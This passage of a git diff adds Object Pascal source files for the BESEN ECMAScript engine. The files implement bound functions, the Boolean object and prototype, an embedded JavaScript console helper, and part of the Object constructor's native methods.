+procedure TBESENObjectBindingFunction.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var CallArgs:TBESENValuePointers; + i,j:integer; +begin + CallArgs:=nil; + if assigned(TargetFunction) and TargetFunction.HasConstruct then begin + SetLength(CallArgs,length(BoundArguments)+CountArguments); + try + j:=0; + for i:=0 to length(BoundArguments)-1 do begin + CallArgs[j]:=@BoundArguments[i]; + inc(j); + end; + for i:=0 to CountArguments-1 do begin + CallArgs[j]:=Arguments^[i]; + inc(j); + end; + TargetFunction.Construct(BoundThis,@CallArgs[0],length(CallArgs),AResult); + finally + SetLength(CallArgs,0); + end; + end else begin + raise EBESENTypeError.Create('No hasConstruct'); + end; +end; + +procedure TBESENObjectBindingFunction.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var CallArgs:TBESENValuePointers; + i,j:integer; +begin + CallArgs:=nil; + if assigned(TargetFunction) and TargetFunction.HasCall then begin + SetLength(CallArgs,length(BoundArguments)+CountArguments); + try + j:=0; + for i:=0 to length(BoundArguments)-1 do begin + CallArgs[j]:=@BoundArguments[i]; + inc(j); + end; + for i:=0 to CountArguments-1 do begin + CallArgs[j]:=Arguments^[i]; + inc(j); + end; + TBESEN(Instance).ObjectCall(TargetFunction,BoundThis,@CallArgs[0],length(CallArgs),AResult); + finally + SetLength(CallArgs,0); + end; + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; +end; + +function TBESENObjectBindingFunction.HasInstance(const AInstance:TBESENValue):TBESENBoolean; +begin + if not TargetFunction.HasHasInstance then begin + raise EBESENTypeError.Create('No hasInstance'); + end; + result:=assigned(TargetFunction) and TargetFunction.HasInstance(AInstance); +end; + +function TBESENObjectBindingFunction.HasConstruct:TBESENBoolean; +begin + result:=assigned(TargetFunction) and TargetFunction.HasConstruct; +end; + +function TBESENObjectBindingFunction.HasCall:TBESENBoolean; +begin + result:=assigned(TargetFunction) and TargetFunction.HasCall; +end; + +function TBESENObjectBindingFunction.HasHasInstance:TBESENBoolean; +begin + result:=assigned(TargetFunction) and TargetFunction.HasHasInstance; +end; + +procedure TBESENObjectBindingFunction.Finalize; +begin + TargetFunction:=nil; + BoundThis:=BESENUndefinedValue; + SetLength(BoundArguments,0); + inherited Finalize; +end; + +procedure TBESENObjectBindingFunction.Mark; +var i:integer; +begin + if assigned(TargetFunction) then begin + TBESEN(Instance).GarbageCollector.GrayIt(TargetFunction); + end; + TBESEN(Instance).GarbageCollector.GrayValue(BoundThis); + for i:=0 to length(BoundArguments)-1 do begin + TBESEN(Instance).GarbageCollector.GrayValue(BoundArguments[i]); + end; + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectBoolean.pas b/Core/JS/BESENObjectBoolean.pas new file mode 100644 index 0000000..bd393ba --- /dev/null +++ b/Core/JS/BESENObjectBoolean.pas @@ -0,0 +1,74 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectBoolean; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectBoolean=class(TBESENObject) + public + Value:TBESENBoolean; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN; + +constructor TBESENObjectBoolean.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Boolean'; + ObjectName:=''; + Value:=false; +end; + +destructor TBESENObjectBoolean.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectBoolean.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectBoolean.Mark; +begin + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectBooleanConstructor.pas b/Core/JS/BESENObjectBooleanConstructor.pas new file mode 100644 index 0000000..1037ac6 --- /dev/null +++ b/Core/JS/BESENObjectBooleanConstructor.pas @@ -0,0 +1,103 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectBooleanConstructor; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectBooleanConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + end; + +implementation + +uses BESEN,BESENObjectBoolean; + +constructor TBESENObjectBooleanConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='Boolean'; +end; + +destructor TBESENObjectBooleanConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectBooleanConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObjectBoolean; +begin + r1:=TBESENObjectBoolean.Create(Instance,TBESEN(Instance).ObjectBooleanPrototype,false); + TBESEN(Instance).GarbageCollector.Add(r1); + r1.GarbageCollectorLock; + try + if CountArguments>0 then begin + r1.Value:=TBESEN(Instance).ToBool(Arguments^[0]^); + end else begin + r1.Value:=false; + end; + finally + r1.GarbageCollectorUnlock; + end; + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=r1; +end; + +procedure TBESENObjectBooleanConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if CountArguments<1 then begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=false; + end else begin + TBESEN(Instance).ToBooleanValue(Arguments^[0]^,AResult); + end; +end; + +function TBESENObjectBooleanConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectBooleanConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +end. diff --git a/Core/JS/BESENObjectBooleanPrototype.pas b/Core/JS/BESENObjectBooleanPrototype.pas new file mode 100644 index 0000000..6bca9e6 --- /dev/null +++ b/Core/JS/BESENObjectBooleanPrototype.pas @@ -0,0 +1,101 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectBooleanPrototype; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor, + BESENObjectBoolean; + +type TBESENObjectBooleanPrototype=class(TBESENObjectBoolean) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors; + +constructor TBESENObjectBooleanPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype); + ObjectClassName:='Boolean'; + ObjectName:='Boolean'; + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; + + RegisterNativeFunction('toString',NativeToString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('valueOf',NativeValueOf,0,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectBooleanPrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectBooleanPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if ThisArgument.ValueType=bvtBOOLEAN then begin + if ThisArgument.Bool then begin + ResultValue:=BESENStringValue('true'); + end else begin + ResultValue:=BESENStringValue('false'); + end; + end else if (ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj)) then begin + if TBESENObjectBoolean(TBESENObject(ThisArgument.Obj)).Value then begin + ResultValue:=BESENStringValue('true'); + end else begin + ResultValue:=BESENStringValue('false'); + end; + end else begin + raise EBESENTypeError.Create('Not a boolean object'); + end; +end; + +procedure TBESENObjectBooleanPrototype.NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if ThisArgument.ValueType=bvtBOOLEAN then begin + BESENCopyValue(ResultValue,ThisArgument); + end else if (ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj)) then begin + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=TBESENObjectBoolean(TBESENObject(ThisArgument.Obj)).Value; + end else begin + raise EBESENTypeError.Create('Not a boolean object'); + end; +end; + +end. diff --git a/Core/JS/BESENObjectConsole.pas b/Core/JS/BESENObjectConsole.pas new file mode 100644 index 0000000..2c6c110 --- /dev/null +++ b/Core/JS/BESENObjectConsole.pas @@ -0,0 +1,191 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectConsole; +{$i BESEN.inc} + +interface + +const BESENObjectConsoleSource:{$ifdef BESENSingleStringType}TBESENSTRING{$else}widestring{$endif}= +'/**'+#13#10+ +' * Console object for BESEN'+#13#10+ +' * @author Dmitry A. Soshnikov <dmitry.soshnikov@gmail.com>'+#13#10+ +' */'+#13#10+ +'(function initConsole(global) {'+#13#10+ +''+#13#10+ +' // helpers'+#13#10+ +' var timeMap = {};'+#13#10+ +''+#13#10+ +' function repeatSring(string, times) {'+#13#10+ +' return Array(times + 1).join(string);'+#13#10+ +' }'+#13#10+ +''+#13#10+ +' function dir(o, recurse, compress, level)'+#13#10+ +' {'+#13#10+ +' var s = "";'+#13#10+ +' var pfx = "";'+#13#10+ +''+#13#10+ +' if (typeof recurse == "undefined")'+#13#10+ +' recurse = 0;'+#13#10+ +' if (typeof level == "undefined")'+#13#10+ +' level = 0;'+#13#10+ +' if (typeof compress == "undefined")'+#13#10+ +' compress = true;'+#13#10+ +''+#13#10+ +' for (var i = 0; i < level; i++)'+#13#10+ +' pfx += (compress) ? "| " : "| ";'+#13#10+ +''+#13#10+ +' var tee = (compress) ? "+ " : "+- ";'+#13#10+ +''+#13#10+ +''+#13#10+ +' Object.getOwnPropertyNames(o).forEach(function (i) {'+#13#10+ +' var t, ex;'+#13#10+ +' try'+#13#10+ +' {'+#13#10+ +' t = typeof o[i];'+#13#10+ +' }'+#13#10+ +' catch (ex)'+#13#10+ +' {'+#13#10+ +' t = "ERROR";'+#13#10+ +' }'+#13#10+ +''+#13#10+ +' switch (t)'+#13#10+ +' {'+#13#10+ +' case "function":'+#13#10+ +' var sfunc = String(o[i]).split("\n");'+#13#10+ +' if (sfunc[1].indexOf(''native'') !== -1)'+#13#10+ +' sfunc = "[native code]";'+#13#10+ +' else'+#13#10+ +' if (sfunc.length == 1)'+#13#10+ +' sfunc = String(sfunc);'+#13#10+ +' else'+#13#10+ +' sfunc = sfunc.length + " lines";'+#13#10+ +' s += pfx + tee + i + " (function) " + sfunc + "\n";'+#13#10+ +''+#13#10+ +' if ((i != "parent") && (recurse))'+#13#10+ +' s += dir(o[i], recurse - 1,'+#13#10+ +' compress, level + 1);'+#13#10+ +''+#13#10+ +' break;'+#13#10+ +''+#13#10+ +' case "object":'+#13#10+ +' s += pfx + tee + i + " (object)";'+#13#10+ +' if (o[i] == null)'+#13#10+ +' {'+#13#10+ +' s += " null\n";'+#13#10+ +' break;'+#13#10+ +' }'+#13#10+ +''+#13#10+ +' s += "\n";'+#13#10+ +''+#13#10+ +' if (!compress)'+#13#10+ +' s += pfx + "|\n";'+#13#10+ +' if ((i != "parent") && (recurse))'+#13#10+ +' s += dir(o[i], recurse - 1,'+#13#10+ +' compress, level + 1);'+#13#10+ +' break;'+#13#10+ +''+#13#10+ +' case "string":'+#13#10+ +' if (o[i].length > 200)'+#13#10+ +' s += pfx + tee + i + " (" + t + ") " +'+#13#10+ +' o[i].length + " chars\n";'+#13#10+ +' else'+#13#10+ +' s += pfx + tee + i + " (" + t + ") ''" + o[i] + "''\n";'+#13#10+ +' break;'+#13#10+ +''+#13#10+ +' case "ERROR":'+#13#10+ +' s += pfx + tee + i + " (" + t + ") ?\n";'+#13#10+ +' break;'+#13#10+ +''+#13#10+ +' default:'+#13#10+ +' s += pfx + tee + i + " (" + t + ") " + o[i] + "\n";'+#13#10+ +''+#13#10+ +' }'+#13#10+ +''+#13#10+ +' if (!compress)'+#13#10+ +' s += pfx + "|\n";'+#13#10+ +''+#13#10+ +' });'+#13#10+ +''+#13#10+ +' s += pfx + "*\n";'+#13#10+ +''+#13#10+ +' return s;'+#13#10+ +' }'+#13#10+ +''+#13#10+ +' /**'+#13#10+ +' * console object;'+#13#10+ +' * implements: log, dir, time, timeEnd'+#13#10+ +' */'+#13#10+ +' global.console = {'+#13#10+ +''+#13#10+ +' /**'+#13#10+ +' * simple log using toString'+#13#10+ +' */'+#13#10+ +' log: function(){'+#13#10+ +' var s = "", a = arguments, j = +a.length;'+#13#10+ +' for(var i=0;i<j;i++) s += a[i] + " ";'+#13#10+ +' print(s);'+#13#10+ +' },'+#13#10+ +''+#13#10+ +''+#13#10+ +' dir: function (object, recurse, compress, level) {'+#13#10+ +' // if called for a primitive'+#13#10+ +' if (Object(object) !== object) {'+#13#10+ +' return console.log(object);'+#13#10+ +' }'+#13#10+ +' // else for an object'+#13#10+ +' return print(dir(object, recurse, compress ,level));'+#13#10+ +' },'+#13#10+ +''+#13#10+ +' // time functions borrowed from Firebug'+#13#10+ +''+#13#10+ +' /**'+#13#10+ +' * time start'+#13#10+ +' */'+#13#10+ +' time: function(name) {'+#13#10+ +' timeMap[name] = Date.now();'+#13#10+ +' },'+#13#10+ +''+#13#10+ +' /**'+#13#10+ +' * time end'+#13#10+ +' */'+#13#10+ +' timeEnd: function(name) {'+#13#10+ +' if (name in timeMap) {'+#13#10+ +' var delta = Date.now() - timeMap[name];'+#13#10+ +' print(name + ": ", delta + "ms");'+#13#10+ +' delete timeMap[name];'+#13#10+ +' }'+#13#10+ +' }'+#13#10+ +' };'+#13#10+ +'})(this);'+#13#10; + +implementation + +end. diff --git a/Core/JS/BESENObjectConstructor.pas b/Core/JS/BESENObjectConstructor.pas new file mode 100644 index 0000000..12c7da2 --- /dev/null +++ b/Core/JS/BESENObjectConstructor.pas @@ -0,0 +1,457 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectConstructor; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + procedure NativeGetPrototypeOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetOwnPropertyDescriptor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetOwnPropertyNames(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeCreate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeDefineProperty(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeDefineProperties(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSeal(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeFreeze(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativePreventExtensions(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIsSealed(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIsFrozen(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIsExtensible(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeKeys(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENUtils,BESENArrayUtils,BESENErrors,BESENObjectString,BESENObjectArray; + +constructor TBESENObjectConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + + RegisterNativeFunction('getPrototypeOf',NativeGetPrototypeOf,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getOwnPropertyDescriptor',NativeGetOwnPropertyDescriptor,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getOwnPropertyNames',NativeGetOwnPropertyNames,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('create',NativeCreate,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('defineProperty',NativeDefineProperty,3,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('defineProperties',NativeDefineProperties,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('seal',NativeSeal,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('freeze',NativeFreeze,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('preventExtensions',NativePreventExtensions,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('isSealed',NativeIsSealed,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('isFrozen',NativeIsFrozen,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('isExtensible',NativeIsExtensible,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('keys',NativeKeys,1,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if CountArguments>0 then begin + case Arguments^[0]^.ValueType of + bvtNULL,bvtUNDEFINED:begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=TBESENObject.Create(Instance,TBESEN(Instance).ObjectPrototype); + end; + else begin + TBESEN(Instance).ToObjectValue(Arguments^[0]^,AResult); + end; + end; + end else begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=TBESENObject.Create(Instance,TBESEN(Instance).ObjectPrototype); + end; + if (AResult.ValueType=bvtOBJECT) and assigned(AResult.Obj) then begin + TBESEN(Instance).GarbageCollector.Add(TBESENObject(AResult.Obj)); + end; +end; + +procedure TBESENObjectConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + Construct(ThisArgument,Arguments,CountArguments,AResult); +end; + +function TBESENObjectConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectConstructor.NativeGetPrototypeOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)) then begin + raise EBESENTypeError.Create('No object'); + end; + ResultValue:=BESENObjectValueEx(TBESENObject(Arguments^[0]^.Obj).Prototype); +end; + +procedure TBESENObjectConstructor.NativeGetOwnPropertyDescriptor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var n:TBESENString; + Descriptor:TBESENObjectPropertyDescriptor; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)) then begin + raise EBESENTypeError.Create('No object'); + end; + if CountArguments>1 then begin + n:=TBESEN(Instance).ToStr(Arguments^[1]^); + end else begin + n:=''; + end; + TBESENObject(Arguments^[0]^.Obj).GetOwnProperty(n,Descriptor); + TBESEN(Instance).FromPropertyDescriptor(Descriptor,ResultValue); + if (ResultValue.ValueType=bvtOBJECT) and assigned(ResultValue.Obj) then begin + TBESEN(Instance).GarbageCollector.Add(TBESENObject(ResultValue.Obj)); + end; +end; + +procedure TBESENObjectConstructor.NativeGetOwnPropertyNames(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ArrayObject:TBESENObjectArray; + o:TBESENObject; + PropItem:TBESENObjectProperty; + n:longword; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)) then begin + raise EBESENTypeError.Create('No object'); + end; + ArrayObject:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(ArrayObject); + ArrayObject.GarbageCollectorLock; + try + o:=TBESENObject(Arguments^[0]^.Obj); + if o is TBESENObjectString then begin + for n:=1 to length(TBESENObjectString(o).Value) do begin + ArrayObject.DefineOwnProperty(BESENArrayIndexToStr(n-1),BESENDataPropertyDescriptor(BESENStringValue(BESENArrayIndexToStr(n-1)),[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + end; + n:=length(TBESENObjectString(o).Value); + end else begin + n:=0; + end; + PropItem:=o.Properties.First; + while assigned(PropItem) do begin + ArrayObject.DefineOwnProperty(BESENArrayIndexToStr(n),BESENDataPropertyDescriptor(BESENStringValue(PropItem.Key),[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + inc(n); + PropItem:=PropItem.Next; + end; + ArrayObject.Len:=n; + finally + ArrayObject.GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(ArrayObject); +end; + +procedure TBESENObjectConstructor.NativeCreate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var o:TBESENObject; + vo:TBESENValue; + ValuePointers:array[0..1] of PBESENValue; +begin + if not ((CountArguments>0) and ((Arguments^[0]^.ValueType=bvtNULL) or ((Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)))) then begin + raise EBESENTypeError.Create('No object and not null'); + end; + if Arguments^[0]^.ValueType=bvtNULL then begin + o:=TBESENObject.Create(Instance,nil); + end else begin + o:=TBESENObject.Create(Instance,TBESENObject(Arguments^[0]^.Obj)); + end; + if CountArguments>1 then begin + vo.ValueType:=bvtOBJECT; + TBESENObject(vo.Obj):=o; + ValuePointers[0]:=@vo; + ValuePointers[1]:=Arguments^[1]; + NativeDefineProperties(ThisArgument,@ValuePointers,CountArguments,ResultValue); + end; + ResultValue.ValueType:=bvtOBJECT; + ResultValue.Obj:=o; +end; + +procedure TBESENObjectConstructor.NativeDefineProperty(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var n:TBESENString; + Descriptor:TBESENObjectPropertyDescriptor; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)) then begin + raise EBESENTypeError.Create('No object'); + end; + if CountArguments>1 then begin + n:=TBESEN(Instance).ToStr(Arguments^[1]^); + end else begin + n:=''; + end; + if CountArguments>2 then begin + TBESEN(Instance).ToPropertyDescriptor(Arguments^[2]^,Descriptor); + end else begin + Descriptor:=BESENUndefinedPropertyDescriptor; + end; + TBESENObject(Arguments^[0]^.Obj).DefineOwnProperty(n,Descriptor,true); + BESENCopyValue(ResultValue,Arguments^[0]^); +end; + +procedure TBESENObjectConstructor.NativeDefineProperties(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Props:TBESENObject; + Names:TBESENStrings; + Descriptors:TBESENObjectPropertyDescriptors; + Enumerator:TBESENObjectPropertyEnumerator; + i,Count:integer; + v:TBESENValue; + Key:TBESENString; +begin + Names:=nil; + Descriptors:=nil; + Enumerator:=nil; + Key:=''; + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)) then begin + raise EBESENTypeError.Create('No object'); + end; + try + if CountArguments>1 then begin + Props:=TBESEN(Instance).ToObj(Arguments^[1]^); + end else begin + Props:=TBESEN(Instance).ToObj(BESENUndefinedValue); + end; + TBESEN(Instance).GarbageCollector.Add(Props); 